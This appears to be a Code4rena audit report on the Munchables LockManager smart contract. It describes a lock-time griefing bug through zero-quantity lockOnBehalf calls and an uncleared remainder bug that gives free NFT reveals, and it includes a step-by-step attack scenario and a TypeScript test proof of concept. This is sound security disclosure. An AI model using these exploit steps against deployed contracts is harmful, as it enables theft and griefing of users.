Munchables - DPS's results

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L275 https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L311

Vulnerability details

Impact

Everytime a user calls lock() function his lockedToken.unlockTime is extended by _lockDuration. A malicious user can call lockOnBehalf() function and pass 0 as _quantity which will just extend the user's unlockTime

Proof of Concept

This is where the in the lock() function the unlockTime is extended by _lockDuration

 function _lock(
        address _tokenContract,
        uint256 _quantity,
        address _tokenOwner,
        address _lockRecipient
    ) private {
        (
            address _mainAccount,
            MunchablesCommonLib.Player memory _player
        ) = accountManager.getPlayer(_lockRecipient);
        if (_mainAccount != _lockRecipient) revert SubAccountCannotLockError();
        if (_player.registrationDate == 0) revert AccountNotRegisteredError();       
        if (_tokenContract == address(0)) {
            if (msg.value != _quantity) revert ETHValueIncorrectError();
        } else {
            if (msg.value != 0) revert InvalidMessageValueError();
            IERC20 token = IERC20(_tokenContract);
            uint256 allowance = token.allowance(_tokenOwner, address(this));
            if (allowance < _quantity) revert InsufficientAllowanceError();
        }

       ...

        lockedToken.remainder = remainder;
        lockedToken.quantity += _quantity;
        lockedToken.lastLockTime = uint32(block.timestamp);
>>      lockedToken.unlockTime =
            uint32(block.timestamp) +
            uint32(_lockDuration);

       ...
    }

As we can see in the if statements there is no check for a minimal amount for deposit. This means that the only thing the attacker has to pay is the gas for the transaction and he will have successfully griefed the user

Tools Used

Manual Analysis

Recommended Mitigation Steps

You can add minimal amount that has to be locked so this will make it inefficient for the attacker to perform this attack

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L311 https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L401

Vulnerability details

Impact

Users can stake their tokens to be eligible for NFT reveals when the lockdrop period is active.

When a user deposits some tokens or Ether but doesn't meet the price of the NFT, the protocol increments a reminder variable on the lockedToken struct. This allows them to get the NFT the next time they deposit enough.

However, this opens up an attack vector as this reminder is not cleared upon withdrawal and can be exploited by a malicious user who can get a nft reveal for free or on a discount.

Proof of Concept

Consider the following scenario:

nftCost = 3 ether

1. An attacker locks 2 ether which will set his lockedToken.remainder to 2 and lockedToken.quantity to 2 as well:

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L363

//@audit this returns 2, because 2 + 0 = 2
 uint256 quantity = _quantity + lockedToken.remainder;
//@audit this returns 2, because 2 % 3 = 2
 remainder = quantity % configuredToken.nftCost;

Then his internal lockedToken.remainder and lockedToken.quantity are set in the lockedToken https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L379

  lockedToken.remainder = remainder;
  lockedToken.quantity += _quantity;

2. The attacker chooses to unlock and get his 2 ether back here:

 function unlock(
        address _tokenContract,
        uint256 _quantity
    ) external notPaused nonReentrant {
       
        ...

>>      lockedToken.quantity -= _quantity;

        // send token
        if (_tokenContract == address(0)) {
>>          payable(msg.sender).transfer(_quantity);
        } else {
            IERC20 token = IERC20(_tokenContract);
            token.transfer(msg.sender, _quantity);
        }

        emit Unlocked(msg.sender, _tokenContract, _quantity);
    }

Now the attacker has his 2 ether back at him but in the internal accounting his remainder is still 2

3. A proposal from the trusted roles is now made to make the nft cost 2 ether

4.The attacker calls lock() function and sends 0 for quantity

This is what will happen in the lock() function:

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L401

  function _lock(
        address _tokenContract,
        uint256 _quantity,
        address _tokenOwner,
        address _lockRecipient
    ) private {
       
        ...

        //@audit quantity will become 2, because the lockedToken.remainder is still 2
>>      uint256 quantity = _quantity + lockedToken.remainder;
        uint256 remainder;
        uint256 numberNFTs;
        uint32 _lockDuration = playerSettings[_lockRecipient].lockDuration;

        if (_lockDuration == 0) {
            _lockDuration = lockdrop.minLockDuration;
        }
        if (
            lockdrop.start <= uint32(block.timestamp) &&
            lockdrop.end >= uint32(block.timestamp)
        ) {
            if (
                _lockDuration < lockdrop.minLockDuration ||
                _lockDuration >
                uint32(configStorage.getUint(StorageKey.MaxLockDuration))
            ) revert InvalidLockDurationError();
            if (msg.sender != address(migrationManager)) {
               

                
                remainder = quantity % configuredToken.nftCost;
                //@audit numberNFTs is now 1, because (2 - 0) / 2
                numberNFTs = (quantity - remainder) / configuredToken.nftCost;

                if (numberNFTs > type(uint16).max) revert TooManyNFTsError();

              
                nftOverlord.addReveal(_lockRecipient, uint16(numberNFTs));
            }
        }

       ...
    }

The attacker managed to get 1 nft for free because he didn't have ether locked in the protocol but the internal accounting was showing that he does

Coded POC which can be pasted in lock.test.ts in place of the describe("when lockdrop is active")

<details> <summary>POC</summary>

describe("when lockdrop is active", () => {
        beforeEach(async () => {
          const block = await testClient.getBlock();
          const configureLockdropTxHash =
            await testContracts.lockManager.contract.write.configureLockdrop([
              {
                start: Number(block.timestamp),
                end: Number(block.timestamp + lockDuration * 10n),  // extending the lockDuration so we can execute all 
                minLockDuration: Number(lockDuration),
              },
            ]);
          await assertTxSuccess({ txHash: configureLockdropTxHash });

          let txHash = await testContracts.lockManager.contract.write.configureToken([
            testERC20Contract.address,
            { usdPrice: 100n * BigInt(1e18), nftCost: parseEther("3"), active: true, decimals: 18 }, // setting the nftCost to 3e18 tokens 
          ]);
          await assertTxSuccess({ txHash });
        });

        it("a user can receive nft for free", async () => {

          // Locking 2e18 tokens while lockdrop is active and nftCost is 3e18 
          const { request: lockRequest } = await testContracts.lockManager.contract.simulate.lock(
            [testERC20Contract.address, parseEther("2")],
            { account: alice, value: 0n }
          );
          const lockTxHash = await testClient.writeContract(lockRequest);
          await assertLockSuccess({
            testContracts,
            testERC20Contract,
            numberNFTs: 0n,
            player: alice,
            quantity: parseEther("2"),
            lockedQuantity: parseEther("2"),
            remainder: parseEther("2"),
            sender: alice,
            tokenContractAddress: testERC20Contract.address,
            txHash: lockTxHash,
          });

          // Passing time so we can unlock
          const lockedTokens = await testContracts.lockManager.contract.read.getLocked([alice]);
          assert(lockedTokens instanceof Array);
          const lockedToken = lockedTokens.find((t) => t.tokenContract === testERC20Contract.address);
          assert.ok(lockedToken);
          const unlockTime = lockedToken.lockedToken.unlockTime
          await testClient.setNextBlockTimestamp({
            timestamp: BigInt(unlockTime + 1),
          });
          await testClient.mine({ blocks: 1 });
          
          // Unlocking all our balance, all 2e18 tokens deposited.
          const { request: unlockRequest } = await testContracts.lockManager.contract.simulate.unlock(
            [testERC20Contract.address, parseEther("2")],
            { account: alice }
          );
          const unlockTxHash = await testClient.writeContract(unlockRequest);
          await assertUnlockSuccess({
            player: alice,
            quantity: parseEther("2"), // unlocked amount
            lockedQuantity: 0n, // currently locked tokens
            tokenContractAddress: testERC20Contract.address,
            txHash: unlockTxHash,
          });

          let txHash = await testContracts.lockManager.contract.write.configureToken([
            testERC20Contract.address,
            { usdPrice: 100n * BigInt(1e18), nftCost: parseEther("2"), active: true, decimals: 18 },
          ]);
          await assertTxSuccess({ txHash });
          
          // Locking 0 tokens, and receiving 1 nft with the reminder which was not cleared. 
          const { request: secondLockRequest } = await testContracts.lockManager.contract.simulate.lock(
            [testERC20Contract.address, parseEther("0")],
            { account: alice, value: parseEther("0") }
          );
          const secondLockTxHash = await testClient.writeContract(secondLockRequest);
          await assertLockSuccess({
            testContracts,
            testERC20Contract,
            numberNFTs: 1n,
            player: alice,
            quantity: parseEther("0"),
            lockedQuantity: parseEther("0"),
            remainder: parseEther("0"),
            sender: alice,
            tokenContractAddress: testERC20Contract.address,
            txHash: secondLockTxHash,
          });
        });
      });
    });
  });

  async function assertUnlockSuccess({
    player,
    quantity,
    lockedQuantity,
    tokenContractAddress,
    txHash,
  }: {
    player: `0x${string}`;
    quantity: bigint;
    lockedQuantity: bigint;
    tokenContractAddress: `0x${string}`;
    txHash: `0x${string}`;
  }) {
    const txReceipt = await assertTxSuccess({ txHash });

    assertTransactionEvents({
      abi: testContracts.lockManager.contract.abi,
      logs: txReceipt.logs,
      expectedEvents: [
        {
          eventName: "Unlocked",
          args: {
            _player: player,
            _tokenContract: tokenContractAddress,
            _quantity: quantity,
          },
        },
      ],
    });

    const lockedTokens = await testContracts.lockManager.contract.read.getLocked([player]);
    assert(lockedTokens instanceof Array);
    const lockedToken = lockedTokens.find((t) => t.tokenContract === tokenContractAddress);
    assert.ok(lockedToken);
    assert.equal(lockedToken.lockedToken.quantity, lockedQuantity);
  }

</details>

Tools Used

Manual Analysis

Recommended Mitigation Steps

In the unlock() function you should set the lockedToken.remainder to 0 and inform users of the protocol that they will lose their progress towards nft reveals when they unlock their funds.

Assessed type

Other